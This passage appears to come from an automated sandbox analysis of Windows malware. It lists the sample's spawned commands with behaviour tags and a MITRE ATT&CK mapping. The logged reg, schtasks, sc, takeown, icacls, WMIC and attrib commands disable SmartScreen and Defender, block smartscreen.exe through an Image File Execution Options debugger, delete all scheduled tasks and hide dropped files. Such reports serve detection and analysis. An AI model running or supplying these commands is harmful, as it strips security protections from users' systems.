        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
        7⤵
        
        PID:5476
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3960
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:5040
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "EnableSmartScreen" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:692
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f /reg:64
        7⤵
        
        PID:3112
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4692
        
        C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        7⤵
        
        PID:2896
        
        C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5264
        
        C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        7⤵
        
        PID:5856
        
        C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        7⤵
        
        PID:4532
        
        C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5548
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe config webthreatdefsvc start= disabled
        7⤵
        Launches sc.exe
        
        PID:1388
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe config webthreatdefusersvc start= disabled
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5636
        
        C:\Windows\SysWOW64\takeown.exe
        
        C:\Windows\System32\takeown.exe /s LYALYBJC /u Admin /f "C:\Windows\System32\smartscreen.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:4408
        
        C:\Windows\SysWOW64\icacls.exe
        
        C:\Windows\System32\icacls.exe "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2648
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%smartscreen%'" Call Terminate
        7⤵
        Reads the TCP/IP host and domain name from the registry
        Kills process with WMI
        Suspicious behavior: EnumeratesProcesses
        
        PID:1780
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im smartscreen.exe /f
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:2456
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:4560
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5828
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:244
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "6152" /f /reg:64
        7⤵
        
        PID:4308
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:3764
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;" /f /reg:64
        7⤵
        
        PID:1620
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "ModRiskFileTypes" /t REG_SZ /d ".bat;.exe;.reg;.vbs;.chm;.msi;.js;.cmd" /f /reg:64
        7⤵
        
        PID:4220
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:3172
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f
        7⤵
        
        PID:1212
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5260
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f
        7⤵
        
        PID:5340
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:3076
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:4180
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\taskkill.exe" /f
        7⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:4828
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "6152" /f
        7⤵
        
        PID:3828
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:3632
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;" /f
        7⤵
        
        PID:5304
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "ModRiskFileTypes" /t REG_SZ /d ".bat;.exe;.reg;.vbs;.chm;.msi;.js;.cmd" /f
        7⤵
        
        PID:2524
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4768
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKCU\*\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        
        PID:1128
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKCU\*\shellex\ContextMenuHandlers\EPP" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3272
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKCU\Directory\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        
        PID:8
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKCU\Directory\shellex\ContextMenuHandlers\EPP" /f /reg:64
        7⤵
        
        PID:568
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKCU\Drive\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        
        PID:4788
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKCU\Drive\shellex\ContextMenuHandlers\EPP" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5244
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo "x86" 2>NUL"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2956
        
        C:\Windows\SysWOW64\find.exe
        
        C:\Windows\System32\find.exe /i "64"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3488
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe Query "HKLM\Hardware\Description\System\CentralProcessor\0"
        7⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:296
        
        C:\Windows\SysWOW64\find.exe
        
        C:\Windows\System32\find.exe /i "x86"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4576
        
        C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Delete /TN * /F
        7⤵
        
        PID:2772
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%Systemfont%'" Call Terminate
        7⤵
        Reads the TCP/IP host and domain name from the registry
        Kills process with WMI
        Suspicious behavior: EnumeratesProcesses
        
        PID:3264
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%palemoon%'" Call Terminate
        7⤵
        Reads the TCP/IP host and domain name from the registry
        Kills process with WMI
        
        PID:1284
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%screen%'" Call Terminate
        7⤵
        Reads the TCP/IP host and domain name from the registry
        Kills process with WMI
        
        PID:4732
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%choice%'" Call Terminate
        7⤵
        Reads the TCP/IP host and domain name from the registry
        Kills process with WMI
        
        PID:3092
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im Systemfont.exe /f
        7⤵
        Kills process with taskkill
        
        PID:2100
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im palemoon.exe /f
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:400
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im screen.exe /f
        7⤵
        Kills process with taskkill
        
        PID:4632
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im choice.exe /f
        7⤵
        Kills process with taskkill
        
        PID:3000
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe service where "name like 'Intel(R) Utiliti'" call stopservice
        7⤵
        Reads the TCP/IP host and domain name from the registry
        
        PID:4620
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe service where "name like 'System'" call stopservice
        7⤵
        Reads the TCP/IP host and domain name from the registry
        
        PID:5068
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe service where "name like 'System App'" call stopservice
        7⤵
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:3140
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe service where "name like 'System Center'" call stopservice
        7⤵
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:4204
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe Service Where "name like 'Intel(R) Utiliti'" Call Delete
        7⤵
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:5904
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe service where "name like 'System'" Call Delete
        7⤵
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:4544
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe Service Where "name like 'System App'" Call Delete
        7⤵
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:4112
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe Service Where "name like 'System Center'" Call Delete
        7⤵
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:1636
        
        C:\Windows\SysWOW64\netsh.exe
        
        C:\Windows\System32\netsh.exe stop "Intel(R) Utiliti"
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4768
        
        C:\Windows\SysWOW64\netsh.exe
        
        C:\Windows\System32\netsh.exe stop "System"
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5444
        
        C:\Windows\SysWOW64\netsh.exe
        
        C:\Windows\System32\netsh.exe stop "System App"
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4316
        
        C:\Windows\SysWOW64\netsh.exe
        
        C:\Windows\System32\netsh.exe stop "System Center"
        7⤵
        
        PID:4580
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe DELETE "Intel(R) Utiliti"
        7⤵
        Launches sc.exe
        
        PID:1916
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe DELETE "System"
        7⤵
        Launches sc.exe
        
        PID:2956
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe DELETE "System App"
        7⤵
        Launches sc.exe
        
        PID:4376
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe DELETE "System Center"
        7⤵
        Launches sc.exe
        
        PID:3156
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%IntelSvc%'" Call Terminate
        7⤵
        Kills process with WMI
        
        PID:2968
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%fontdrvhots%'" Call Terminate
        7⤵
        Kills process with WMI
        
        PID:2536
        
        C:\Windows\SysWOW64\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe process where "name like '%tv_x86%'" Call Terminate
        7⤵
        Kills process with WMI
        
        PID:2796
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im IntelSvc.exe /f
        7⤵
        Kills process with taskkill
        
        PID:200
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im fontdrvhots.exe /f
        7⤵
        Kills process with taskkill
        
        PID:3776
        
        C:\Windows\SysWOW64\taskkill.exe
        
        C:\Windows\System32\taskkill.exe /im tv_x86.exe /f
        7⤵
        Kills process with taskkill
        
        PID:2348
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\*.exe"
        7⤵
        Views/modifies file attributes
        
        PID:2188
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\*.exe"
        7⤵
        Views/modifies file attributes
        
        PID:2236
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\Packages\*.*"">nul 2>nul
        7⤵
        Views/modifies file attributes
        
        PID:6020
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:4432
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:4552
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Music\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:2736
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Documents\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:868
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\OneDrive\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:2676
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\cache\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:5560
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:2868
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\Tweaker\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:1380
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\Tfile\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:4976
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\en\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:692
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\L2cache\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:2576
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\note.exe"
        7⤵
        Views/modifies file attributes
        
        PID:3968
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\IntelSvc.*"
        7⤵
        Views/modifies file attributes
        
        PID:3004
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\screen.*"
        7⤵
        Views/modifies file attributes
        
        PID:5476
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\AnyDesk.*"
        7⤵
        Views/modifies file attributes
        
        PID:4948
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\RuntimeBroker.*"
        7⤵
        Views/modifies file attributes
        
        PID:3036
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\swith.*"
        7⤵
        Views/modifies file attributes
        
        PID:4692
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\Systemfont.*"
        7⤵
        Views/modifies file attributes
        
        PID:4540
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\RtkAudio.*"
        7⤵
        Views/modifies file attributes
        
        PID:4364
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\WinRing0x64.*"
        7⤵
        Views/modifies file attributes
        
        PID:4172
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\note.exe"
        7⤵
        Views/modifies file attributes
        
        PID:2520
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\IntelSvc.*"
        7⤵
        Views/modifies file attributes
        
        PID:2380
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\screen.*"
        7⤵
        Views/modifies file attributes
        
        PID:3872
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\AnyDesk.*"
        7⤵
        Views/modifies file attributes
        
        PID:4000
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\RuntimeBroker.*"
        7⤵
        Views/modifies file attributes
        
        PID:1280
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\swith.*"
        7⤵
        Views/modifies file attributes
        
        PID:2440
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\Systemfont.*"
        7⤵
        Views/modifies file attributes
        
        PID:5008
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\RtkAudio.*"
        7⤵
        Views/modifies file attributes
        
        PID:1676
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\WinRing0x64.*"
        7⤵
        Views/modifies file attributes
        
        PID:2052
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Windows\System32\*.lst"
        7⤵
        Views/modifies file attributes
        
        PID:2108
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\ProgramData\1_BAOCAO_ERR.ini"
        7⤵
        Views/modifies file attributes
        
        PID:1304
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\*.lst"
        7⤵
        Views/modifies file attributes
        
        PID:4408
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\*.css"
        7⤵
        Views/modifies file attributes
        
        PID:5236
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\Music\tempfont.ttf"
        7⤵
        Views/modifies file attributes
        
        PID:5604
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\Pictures\..cmd"
        7⤵
        Views/modifies file attributes
        
        PID:3876
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\Pictures\..cmd"
        7⤵
        Views/modifies file attributes
        
        PID:5096
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\Pictures\View2.cmd"
        7⤵
        Views/modifies file attributes
        
        PID:2396
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\Pictures\View2.cmd"
        7⤵
        Views/modifies file attributes
        
        PID:5460
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\screen.exe"
        7⤵
        Views/modifies file attributes
        
        PID:2456
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\System.exe"
        7⤵
        Views/modifies file attributes
        
        PID:3704
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\WinRing0x64.log"
        7⤵
        Views/modifies file attributes
        
        PID:5284
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\stwinvr.cmd"
        7⤵
        Views/modifies file attributes
        
        PID:3792
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\PathView.txt"
        7⤵
        Views/modifies file attributes
        
        PID:1368
        
        C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\System32\timeout.exe /t 2
        7⤵
        Delays execution with timeout.exe
        
        PID:3032
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\View.exe"
        7⤵
        Views/modifies file attributes
        
        PID:5172
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\*.*"
        7⤵
        Views/modifies file attributes
        
        PID:2412
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Music\tempfont.ttf"
        7⤵
        Views/modifies file attributes
        
        PID:5080
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Pictures\..cmd"
        7⤵
        Views/modifies file attributes
        
        PID:3180
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Pictures\..cmd"
        7⤵
        Views/modifies file attributes
        
        PID:4508
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Pictures\View2.cmd"
        7⤵
        Views/modifies file attributes
        
        PID:5404
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\Pictures\View2.cmd"
        7⤵
        Views/modifies file attributes
        
        PID:3764
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\1_BAOCAO_ERR.ini"
        7⤵
        Views/modifies file attributes
        
        PID:4308
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\*.lst"
        7⤵
        Views/modifies file attributes
        
        PID:4560
        
        C:\Windows\SysWOW64\attrib.exe
        
        C:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\View.exe"
        7⤵
        Views/modifies file attributes
        
        PID:4556
        
        C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\System32\timeout.exe /t 1
        7⤵
        Delays execution with timeout.exe
        
        PID:5456
    - - C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\System32\timeout.exe /t 1
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4124
    - - C:\Windows\SysWOW64\PING.EXE
        
        C:\Windows\System32\ping.exe 192.168.1.1 -n 1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry